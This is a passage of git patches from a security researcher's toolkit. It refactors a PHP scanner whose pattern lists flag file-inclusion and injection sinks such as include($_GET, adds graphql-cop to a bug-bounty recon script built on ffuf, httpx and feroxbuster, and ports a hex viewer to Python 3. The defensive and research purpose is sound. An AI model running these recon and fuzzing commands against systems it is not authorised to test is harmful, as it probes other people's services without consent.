(total) + beautyConsole.getSpecialChar("endline")) return total # return how many findings in current file From b1f93635e5f74306795e856e580bf0a0e750194f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 11 Mar 2022 18:14:49 +0000 Subject: [PATCH 186/369] [pef] refactoring; simlified output --- pef/imports/pefdefs.py | 25 +----- pef/pef.py | 191 ++++------------------------------------- 2 files changed, 21 insertions(+), 195 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 81075f7..7b5a6be 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -87,21 +87,12 @@ "__destruct(", "__sleep(", "filter_var(", - "file_put_contents(" -] - - -# dangerous global(s) -globalVars = [ + "file_put_contents(", "$_POST", "$_GET", "$_COOKIE", "$_REQUEST", - "$_SERVER" -] - -# dangerous patterns - LFI/RFI -fileInclude = [ + "$_SERVER", "include($_GET", "require($_GET", "include_once($_GET", @@ -109,22 +100,14 @@ "include($_REQUEST", "require($_REQUEST", "include_once($_REQUEST", - "require_once($_REQUEST" -] - -# reflected properties which might leads to eg. XSS -reflectedProperties = [ + "require_once($_REQUEST", "$_SERVER[\"PHP_SELF\"]", "$_SERVER[\"SERVER_ADDR\"]", "$_SERVER[\"SERVER_NAME\"]", "$_SERVER[\"REMOTE_ADDR\"]", "$_SERVER[\"REMOTE_HOST\"]", "$_SERVER[\"REQUEST_URI\"]", - "$_SERVER[\"HTTP_USER_AGENT\"]" -] - -# other patterns -otherPatterns = [ + "$_SERVER[\"HTTP_USER_AGENT\"]", "SELECT.*FROM", "INSERT.*INTO", "UPDATE.*", diff --git a/pef/pef.py b/pef/pef.py index 1491c44..e4e133c 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -42,16 +42,13 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, verbose, level, sql, filename, pattern): + def __init__(self, recursive, level, filename): """ constructor """ self.recursive = recursive # recursive scan files in folder(s) - self.verbose = verbose # show prev/next lines self.level = level # scan only for level set of functions - self.sql = sql # scan for inline SQL queries self.filename = filename # name of file/folder to scan - self.pattern = pattern # pattern(s) to look for, if set self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -65,17 +62,7 @@ def __init__(self, recursive, verbose, level, sql, filename, pattern): self.header_printed = False return - def header_print(self, file_name, header_print): - """ - prints file header - """ - if self.header_printed == False: - print(beautyConsole.getColor("white") + "-" * 100) - print("FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n") - self.header_printed = True - return self.header_printed - - def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total): + def analyse_line(self, l, i, fn, f, line): """ analysis of single line of code; searches for pattern (passed as fn and atfn) occurence @@ -88,27 +75,12 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - # try to match --pattern if set, using RegExp - if self.pattern: - pattern = re.compile(self.pattern[0]) - if re.match(pattern, line): - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose, self.level) - else: - if fn in line or atfn in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose, self.level) - return total - - def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity="", verbose=False, level='ALL'): + if fn in line or atfn in line: + self.print_code_line(f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, + self.level) + return + + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): """ prints formatted code line """ @@ -122,112 +94,38 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] - description = pefdocs.exploitableFunctionsDesc.get(fn.strip())[ - 0] - syntax = pefdocs.exploitableFunctionsDesc.get(fn.strip())[1] vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] if impact.upper() == level.upper() or level == 'ALL': if len(_line) > 255: _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" - if verbose == True: - print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) else: - print("{}line {} :: {}{} ".format(beautyConsole.getColor( - "white"), i, beautyConsole.getColor("grey"), _line.strip()[:255])) - - if verbose == True: - print("\n {}{}{}".format(beautyConsole.getColor( - "white"), description, beautyConsole.getSpecialChar("endline"))) - print(" {}{}{}".format(beautyConsole.getColor( - "grey"), syntax, beautyConsole.getSpecialChar("endline"))) - print(" Potential impact: {}{}{}".format(beautyConsole.getColor( - impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline"))) + print("{}{}:{}{} -> {}{}".format(beautyConsole.getColor( + "white"), file_name, i, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"), vuln_class)) if impact not in severity.keys(): severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - - if verbose == True: - print() - if prev_prev_line: - print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + - beautyConsole.getSpecialChar("endline")) - if prev_line: - print(str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + - beautyConsole.getSpecialChar("endline")) - print(str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + - beautyConsole.getSpecialChar("endline")) - if next_line: - print(str(i+1) + " " + beautyConsole.getColor("grey") + next_line + - beautyConsole.getSpecialChar("endline")) - if next_next_line: - print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + - beautyConsole.getSpecialChar("endline")) - print() return def main(self, src): """ main engine loop """ - f = open(src, "r") + f = open(src, "r", encoding="ISO-8859-1") i = 0 - total = 0 all_lines = f.readlines() - self.header_printed = False - prev_prev_line = "" - prev_line = "" - next_line = "" - next_next_line = "" for l in all_lines: - if i > 2: - prev_prev_line = all_lines[i - 2].rstrip() - if i > 1: - prev_line = all_lines[i - 1].rstrip() - if i < (len(all_lines) - 1): - next_line = all_lines[i + 1].rstrip() - if i < (len(all_lines) - 2): - next_next_line = all_lines[i + 2].rstrip() - i += 1 line = l.rstrip() if self.level: for fn in pefdefs.exploitableFunctions: - total = self.analyse_line(l, i, fn, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - else: - for fn in (self.pattern if self.pattern else pefdefs.exploitableFunctions): - total = self.analyse_line(l, i, fn, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - if self.level == False and not self.pattern: - for dp in pefdefs.fileInclude: - total = self.analyse_line(l, i, dp, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - for globalvars in pefdefs.globalVars: - total = self.analyse_line(l, i, globalvars, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + self.analyse_line(l, i, fn, f, line) - for refl in pefdefs.reflectedProperties: - total = self.analyse_line(l, i, refl, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - if sql == True: - for refl in pefdefs.otherPatterns: - total = self.analyse_line(l, i, refl, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - if total > 0: - print(beautyConsole.getColor("red") + - "\nFound %d interesting entries\n" % (total) + - beautyConsole.getSpecialChar("endline")) - - return total # return how many findings in current file + return # return how many findings in current file def run(self): """ @@ -240,32 +138,11 @@ def run(self): if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 res = self.main(os.path.join(root, f)) - self.found_entries = self.found_entries + res else: self.scanned_files = self.scanned_files + 1 self.found_entries = self.main(self.filename) print(beautyConsole.getColor("white") + "-" * 100) - - print( - f"{beautyConsole.getColor('green')}\n>>> {self.scanned_files} file(s) scanned") - if self.found_entries > 0: - print( - f"{beautyConsole.getColor('red')}>>> {self.found_entries} interesting entries found\n") - else: - print(" No interesting entries found :( \n") - - SUMMARY = "{}==> {}:\t {}" - - print(SUMMARY.format( - beautyConsole.getColor("red"), "CRITICAL", self.severity.get("critical"))) - print(SUMMARY.format( - beautyConsole.getColor("red"), "HIGH", self.severity.get("high"))) - print(SUMMARY.format(beautyConsole.getColor( - "yellow"), "MEDIUM", self.severity.get("medium"))) - print(SUMMARY.format(beautyConsole.getColor( - "green"), "LOW", self.severity.get("low"))) - print("\n") @@ -281,47 +158,13 @@ def run(self): "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM or level; default - ALL") - parser.add_argument( - "-p", "--pattern", help="look only for particular code pattern(s)") - parser.add_argument( - "-s", "--sql", help="look for raw SQL queries", action="store_true") - parser.add_argument( - "-v", "--verbose", help="print verbose output (more code, docs)", action="store_true") - parser.add_argument( - "-n", "--noglobals", help="only functions (no $_XXX)", action="store_true") parser.add_argument( "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") args = parser.parse_args() - verbose = True if args.verbose else False - sql = True if args.sql else False - level = args.level if args.level else 'ALL' - pattern = args.pattern.split(',') if args.pattern else [] + level = args.level.upper() if args.level else 'ALL' filename = args.file - try: - # main orutine starts here - engine = PefEngine(args.recursive, verbose, - level, sql, filename, pattern) - engine.run() - except IndexError as e: - print("IndexError in {}: {}".format(filename, e)) - except UnicodeDecodeError as e: - print("UnicodeDecodeError in {}: {}".format(filename, e)) - except FileNotFoundError as e: - print("Requested file not found, check the path :)") - except IsADirectoryError as e: - print(f"{filename} is a directory and requires -r flag") - except UnicodeDecodeError as e: - pass - except Exception as e: - print("Unexpected error:") - print(type(e)) - print(e.args) - print(e) - finally: - # cleaning up - - # exiting - print("[+] Done") - exit(0) + # main orutine starts here + engine = PefEngine(args.recursive, level, filename) + engine.run() From c81864414ffc9355ddc94d95cb94a68c596e38e4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 23 Mar 2022 15:39:07 +0000 Subject: [PATCH 187/369] [s0mbra] Remove nuclei --- s0mbra.sh | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c22ecff..7f1b4f3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -241,13 +241,12 @@ recon() { httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp # ffuf - starter + lowercase enumeration - echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" + echo -e "\n$GREEN--> ffuf on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); do NAME=$(echo $url | cut -d'/' -f3) ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) @@ -260,7 +259,7 @@ recon() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# does recon on URL: nmap, ffuf, nuclei, other smaller tools, ...? +# does recon on URL: nmap, ffuf, other smaller tools, ...? # pass ONLY hostname (without protocol prefix) ransack() { HOSTNAME=$1 @@ -271,7 +270,6 @@ ransack() { VHOSTS=$(echo $2|grep 'vhosts'|wc -l) FFUF=$(echo $2|grep 'ffuf'|wc -l) FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) - NUCLEI=$(echo $2|grep 'nuclei'|wc -l) X8=$(echo $2|grep 'x8'|wc -l) # set proto: @@ -323,11 +321,6 @@ ransack() { feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt --output $TMPDIR/s0mbra_feroxbuster_$HOSTNAME.log fi - # nuclei - if [[ $NUCLEI -eq "1" ]]; then - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log - fi - # x8 if [[ $X8 -eq "1" ]]; then x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 @@ -707,8 +700,8 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}$CLR\n" echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" - echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|nuclei|x8" + echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" + echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From 1939490c86d223d7d2fdeffe0efe7febe726c599 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 25 Mar 2022 14:42:00 +0000 Subject: [PATCH 188/369] [s0mbra] added graphql-cop --- s0mbra.sh | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 7f1b4f3..4469994 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -514,6 +514,12 @@ jadx() { /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } +gql() { + clear + echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CLR" + python3 /Users/bl4de/hacking/tools/graphql-cop/graphql-cop.py -t $1 +} + apk() { clear echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" @@ -639,6 +645,9 @@ case "$cmd" in snyktest) snyktest ;; + gql) + gql + ;; dex_to_jar) dex_to_jar "$2" ;; @@ -708,6 +717,7 @@ case "$cmd" in echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "\t$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" + echo -e "\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" From 489a0e5c40623217c184cfcafac1ab71641fc25b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 25 Mar 2022 14:44:10 +0000 Subject: [PATCH 189/369] [s0mbra] graphql-cop - small refactoring --- s0mbra.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4469994..bbce57c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -516,8 +516,9 @@ jadx() { gql() { clear - echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CLR" + echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CYAN" python3 /Users/bl4de/hacking/tools/graphql-cop/graphql-cop.py -t $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" } apk() { @@ -646,7 +647,7 @@ case "$cmd" in snyktest ;; gql) - gql + gql "$2" ;; dex_to_jar) dex_to_jar "$2" From 4886b7db33b0fc9d659c24e7ed8be67b635424cc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 26 Mar 2022 06:38:12 +0000 Subject: [PATCH 190/369] [s0mbra] objdump - refactoring for macOS --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index bbce57c..bdfd35a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -504,7 +504,7 @@ unjar() { disass() { clear echo -e "$BLUE[s0mbra] Disassembling $1, saving to 1.asm..." - objdump -d -x86-asm-syntax=intel $1 > 1.asm + objdump -d --arch-name=x86-64 -M intel $1 > 1.asm echo -e "\n$BLUE[s0mbra] Done." } From 5c464d31657dff6bbeb6d023fc59bedfde7e3906 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 26 Mar 2022 20:35:42 +0000 Subject: [PATCH 191/369] [hexview] Python 2 -> Python 3 refactoring (in progress) --- hexview/hexview.py | 494 +++++++++++++++++++++++++-------------------- 1 file changed, 275 insertions(+), 219 deletions(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 2a0e7a8..2b23b41 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/python3 """ based on: "Tutorial: Making your own Hex Dump Program" by DrapsTV https://www.youtube.com/watch?v=B8nRrw_M_nk&index=1&list=WL @@ -9,178 +9,180 @@ import itertools import binascii -ASCII = 'ascii' -CTRL = 'ctrl' -OTHER = 'other' +ASCII = "ascii" +CTRL = "ctrl" +OTHER = "other" # https://en.wikipedia.org/wiki/List_of_file_signatures FILE_SIGNATURES = { - 'a1b2c3d4': 'Libpcap File Format', + "a1b2c3d4": "Libpcap File Format", # '47': 'MPEG Transport Stream (MPEG-2 Part 1)', - 'd4c3b2a1': 'Libpcap File Format', - '0a0d0d0a': 'PCAP Next Generation Dump File Format (pcapng)', - 'edabeedb': 'RedHat Package Manager (RPM) package', - '53503031': 'Amazon Kindle Update Package', - '00': 'IBM Storyboard bitmap file; Windows Program Information File; Mac Stuffit Self-Extracting Archive; IRIS OCR data file', - 'BEBAFECA': 'Palm Desktop Calendar Archive', - '00014244': 'Palm Desktop To Do Archive', - '00014454': 'Palm Desktop Calendar Archive', - '00010000': 'Palm Desktop Data File (Access format)', - '00000100': 'Computer icon encoded in ICO file format', - '667479703367': '3rd Generation Partnership Project 3GPP and 3GPP2 multimedia files', - '1FA0': 'Compressed file (often tar zip) using LZH algorithm', - '425A68': 'Compressed file using Bzip2 algorithm', - '474946383761': 'Image file encoded in the Graphics Interchange Format (GIF) - GIF87a', - '474946383961': 'Image file encoded in the Graphics Interchange Format (GIF) - GIF89a', - 'FFD8FFE00010': 'JPEG raw or in the JFIF or Exif file format', - '49492A00': 'Tagged Image File Format (tiff, Little Endian format)', - '4D4D002A': 'Tagged Image File Format (tiff, Big Endian)', - '49492A0010000000': 'Canon RAW Format Version 2', - '4352': 'Canon RAW format is based on the TIFF file format', - '802A5FD7': 'Kodak Cineon image', - '524E4301': 'Compressed file using Rob Northen Compression version 1', - '524E4302': 'Compressed file using Rob Northen Compression version 2', - '53445058': 'SMPTE DPX image (big endian format)', - '58504453': 'SMPTE DPX image (little endian format)', - '762F3101': 'OpenEXR image', - '425047FB': 'Better Portable Graphics', - 'FFD8FFDB': 'JPEG raw or in the JFIF or Exif file format', - 'FFD8FFE000104A4649460001': 'JPEG raw or in the JFIF or Exif file format', - 'FFD8FFE1': 'JPEG raw or in the JFIF or Exif file format', - '464F52': 'IFF Interleaved Bitmap Image', - '4C424D': 'IFF Interleaved Bitmap Image', - '464F52': 'IFF 8-Bit Sampled Voice', - '535658': 'IFF 8-Bit Sampled Voice', - '464F524D': 'IFF (misc filetypes)', - '4C5A4950': 'lzip compressed file', - '4D5A': 'DOS MZ executable file format and its descendants (including NE and PE)', - '504B0304': 'zip file format and formats based on it, such as JAR, ODF, OOXML', - '504B0506': 'zip file format and formats based on it, such as JAR, ODF, OOXML (empty archive)', - '504B0708': 'zip file format and formats based on it, such as JAR, ODF, OOXML (spanned archive)', - '526172211A0700': 'RAR archive version 1.50 onwards', - '526172211A070100': 'RAR archive version 5.0 onwards', - '7F454C46': 'ELF Executable and Linkable Format', - '89504E470D0A1A0A': 'Image encoded in the Portable Network Graphics format (PNG)', - 'CAFEBABE': 'Java class file, Mach-O Fat Binary', - 'EFBBBF': 'UTF-8 encoded Unicode byte order mark, commonly seen in text files', - 'FEEDFACE': 'Mach-O binary (32-bit)', - 'FEEDFACF': 'Mach-O binary (64-bit)', - 'CEFAEDFE': 'Mach-O binary (reverse byte ordering scheme, 32-bit)', - 'CFFAEDFE': 'Mach-O binary (reverse byte ordering scheme, 64-bit)', - 'FFFE': 'Byte-order mark for text file encoded in little-endian 16-bit Unicode Transfer Format', - 'FFFE0000': 'Byte-order mark for text file encoded in little-endian 32-bit Unicode Transfer Format', - '25215053': 'PostScript document', - '25504446': 'PDF document', - '3026B2758E66CF11': 'Advanced Systems Format (asf, wma, wmv)', - 'A6D900AA0062CE6C': 'Advanced Systems Format (asf, wma, wmv)', - '2453444930303031': 'System Deployment Image, a disk image format used by Microsoft', - '4F676753': 'Ogg, an open source media container format', - '38425053': 'Photoshop Document file, Adobe Photoshop native file format', - 'FFFB': 'MPEG-1 Layer 3 file without an ID3 tag or with an ID3v1 tag (whichs appended at the end of the file)', - '494433': 'MP3 file with an ID3v2 container', - '424D': 'BMP file, a bitmap format used mostly in the Windows world', - '4344303031': 'ISO9660 CD/DVD image file', - '53494D504C452020': 'Flexible Image Transport System (FITS)', - '664C6143': 'Free Lossless Audio Codec (flac)', - '4D546864': 'MIDI sound file', - 'D0CF11E0A1B11AE1': 'Compound File Binary Format, a container format used for document by older versions of Microsoft Office', - '6465780A30333500': 'Dalvik Executable', - '4B444D': 'VMDK files', - '43723234': 'Google Chrome extension or packaged app', - '41474433': 'FreeHand 8 document', - '05070000424F424F': 'AppleWorks 5 document', - '0607E100424F424F': 'AppleWorks 6 document', - '455202000000': 'Roxio Toast disc image file, also some .dmg-files begin with same bytes', - '8B455202000000': 'Roxio Toast disc image file, also some .dmg-files begin with same bytes', - '7801730D626260': 'Apple Disk Image file', - '78617221': 'eXtensible ARchive format', - '504D4F43434D4F43': 'Windows Files And Settings Transfer Repository', - '4E45531A': 'Nintendo Entertainment System ROM file', - '7573746172003030': 'tar archive', - '7573746172202000': 'tar archive', - '746F7833': 'Open source portable voxel file', - '4D4C5649': 'Magic Lantern Video file', - '44434D0150413330': 'Windows Update Binary Delta Compression', - '377ABCAF271C': '7-Zip File Format', - '1F8B': 'GZIP file', - 'FD377A585A0000': 'XZ compression utility using LZMA/LZMA2 compression', - '04224D18': 'LZ4 Frame Format', - '4D534346': 'Microsoft Cabinet file', - '535A444488F02733': 'Microsoft compressed file in Quantum format', - '464C4946': 'Free Lossless Image Format', - '1A45DFA3': 'Matroska media container, including WebM', - '3082': 'DER encoded X.509 certificate', - '4449434D': 'DICOM Medical File Format', - '774F4646': 'WOFF File Format 1.0', - '774F4632': 'WOFF File Format 2.0', - '3c3f786d6c20': 'eXtensible Markup Language (xml) when using the ASCII character encoding', - '0061736d': 'WebAssembly binary format', - 'cf8401': 'Lepton compressed JPEG image', - '435753': 'flash .swf', - '465753': 'flash .swf', - '213C617263683E': 'linux deb file', - '52494646': 'Google WebP image file', - '27051956': 'U-Boot / uImage. Das U-Boot Universal Boot Loader', - '7B5C72746631': 'Rich Text Format', - '54415045': 'Microsoft Tape Format', - '000001BA': 'MPEG Program Stream (MPEG-1 Part 1 (essentially identical) and MPEG-2 Part 1)', - '000001B3': 'MPEG Program Stream; MPEG Transport Stream; MPEG-1 video and MPEG-2 video (MPEG-1 Part 2 and MPEG-2 Part 2)', - '7801': 'zlib (No Compression/low)', - '789c': 'zlib (Default Compression)', - '78da': 'zlib (Best Compression)', - '1F8B0800': 'Minecraft Level Data File (NBT)', - '62767832': 'LZFSE - Lempel-Ziv style data compression algorithm using Finite State Entropy coding. (bvx2)', - '4F5243': 'Apache ORC (Optimized Row Columnar) file format', - '4F626A01': 'Apache Avro binary file format', - '53455136': 'RCFile columnar file format', - '65877856': 'PhotoCap Object Templates', - '5555aaaa': 'PhotoCap Vector', - '785634': 'PhotoCap Template', - '50415231': 'Apache Parquet columnar file format', - '454D5832': 'Emulator Emaxsynth samples', - '454D5533': 'Emulator III synth samples', - '1B4C7561': 'Lua bytecode' + "d4c3b2a1": "Libpcap File Format", + "0a0d0d0a": "PCAP Next Generation Dump File Format (pcapng)", + "edabeedb": "RedHat Package Manager (RPM) package", + "53503031": "Amazon Kindle Update Package", + "00": "IBM Storyboard bitmap file; Windows Program Information File; Mac Stuffit Self-Extracting Archive; IRIS OCR data file", + "BEBAFECA": "Palm Desktop Calendar Archive", + "00014244": "Palm Desktop To Do Archive", + "00014454": "Palm Desktop Calendar Archive", + "00010000": "Palm Desktop Data File (Access format)", + "00000100": "Computer icon encoded in ICO file format", + "667479703367": "3rd Generation Partnership Project 3GPP and 3GPP2 multimedia files", + "1FA0": "Compressed file (often tar zip) using LZH algorithm", + "425A68": "Compressed file using Bzip2 algorithm", + "474946383761": "Image file encoded in the Graphics Interchange Format (GIF) - GIF87a", + "474946383961": "Image file encoded in the Graphics Interchange Format (GIF) - GIF89a", + "FFD8FFE00010": "JPEG raw or in the JFIF or Exif file format", + "49492A00": "Tagged Image File Format (tiff, Little Endian format)", + "4D4D002A": "Tagged Image File Format (tiff, Big Endian)", + "49492A0010000000": "Canon RAW Format Version 2", + "4352": "Canon RAW format is based on the TIFF file format", + "802A5FD7": "Kodak Cineon image", + "524E4301": "Compressed file using Rob Northen Compression version 1", + "524E4302": "Compressed file using Rob Northen Compression version 2", + "53445058": "SMPTE DPX image (big endian format)", + "58504453": "SMPTE DPX image (little endian format)", + "762F3101": "OpenEXR image", + "425047FB": "Better Portable Graphics", + "FFD8FFDB": "JPEG raw or in the JFIF or Exif file format", + "FFD8FFE000104A4649460001": "JPEG raw or in the JFIF or Exif file format", + "FFD8FFE1": "JPEG raw or in the JFIF or Exif file format", + "464F52": "IFF Interleaved Bitmap Image", + "4C424D": "IFF Interleaved Bitmap Image", + "464F52": "IFF 8-Bit Sampled Voice", + "535658": "IFF 8-Bit Sampled Voice", + "464F524D": "IFF (misc filetypes)", + "4C5A4950": "lzip compressed file", + "4D5A": "DOS MZ executable file format and its descendants (including NE and PE)", + "504B0304": "zip file format and formats based on it, such as JAR, ODF, OOXML", + "504B0506": "zip file format and formats based on it, such as JAR, ODF, OOXML (empty archive)", + "504B0708": "zip file format and formats based on it, such as JAR, ODF, OOXML (spanned archive)", + "526172211A0700": "RAR archive version 1.50 onwards", + "526172211A070100": "RAR archive version 5.0 onwards", + "7F454C46": "ELF Executable and Linkable Format", + "89504E470D0A1A0A": "Image encoded in the Portable Network Graphics format (PNG)", + "CAFEBABE": "Java class file, Mach-O Fat Binary", + "EFBBBF": "UTF-8 encoded Unicode byte order mark, commonly seen in text files", + "FEEDFACE": "Mach-O binary (32-bit)", + "FEEDFACF": "Mach-O binary (64-bit)", + "CEFAEDFE": "Mach-O binary (reverse byte ordering scheme, 32-bit)", + "CFFAEDFE": "Mach-O binary (reverse byte ordering scheme, 64-bit)", + "FFFE": "Byte-order mark for text file encoded in little-endian 16-bit Unicode Transfer Format", + "FFFE0000": "Byte-order mark for text file encoded in little-endian 32-bit Unicode Transfer Format", + "25215053": "PostScript document", + "25504446": "PDF document", + "3026B2758E66CF11": "Advanced Systems Format (asf, wma, wmv)", + "A6D900AA0062CE6C": "Advanced Systems Format (asf, wma, wmv)", + "2453444930303031": "System Deployment Image, a disk image format used by Microsoft", + "4F676753": "Ogg, an open source media container format", + "38425053": "Photoshop Document file, Adobe Photoshop native file format", + "FFFB": "MPEG-1 Layer 3 file without an ID3 tag or with an ID3v1 tag (whichs appended at the end of the file)", + "494433": "MP3 file with an ID3v2 container", + "424D": "BMP file, a bitmap format used mostly in the Windows world", + "4344303031": "ISO9660 CD/DVD image file", + "53494D504C452020": "Flexible Image Transport System (FITS)", + "664C6143": "Free Lossless Audio Codec (flac)", + "4D546864": "MIDI sound file", + "D0CF11E0A1B11AE1": "Compound File Binary Format, a container format used for document by older versions of Microsoft Office", + "6465780A30333500": "Dalvik Executable", + "4B444D": "VMDK files", + "43723234": "Google Chrome extension or packaged app", + 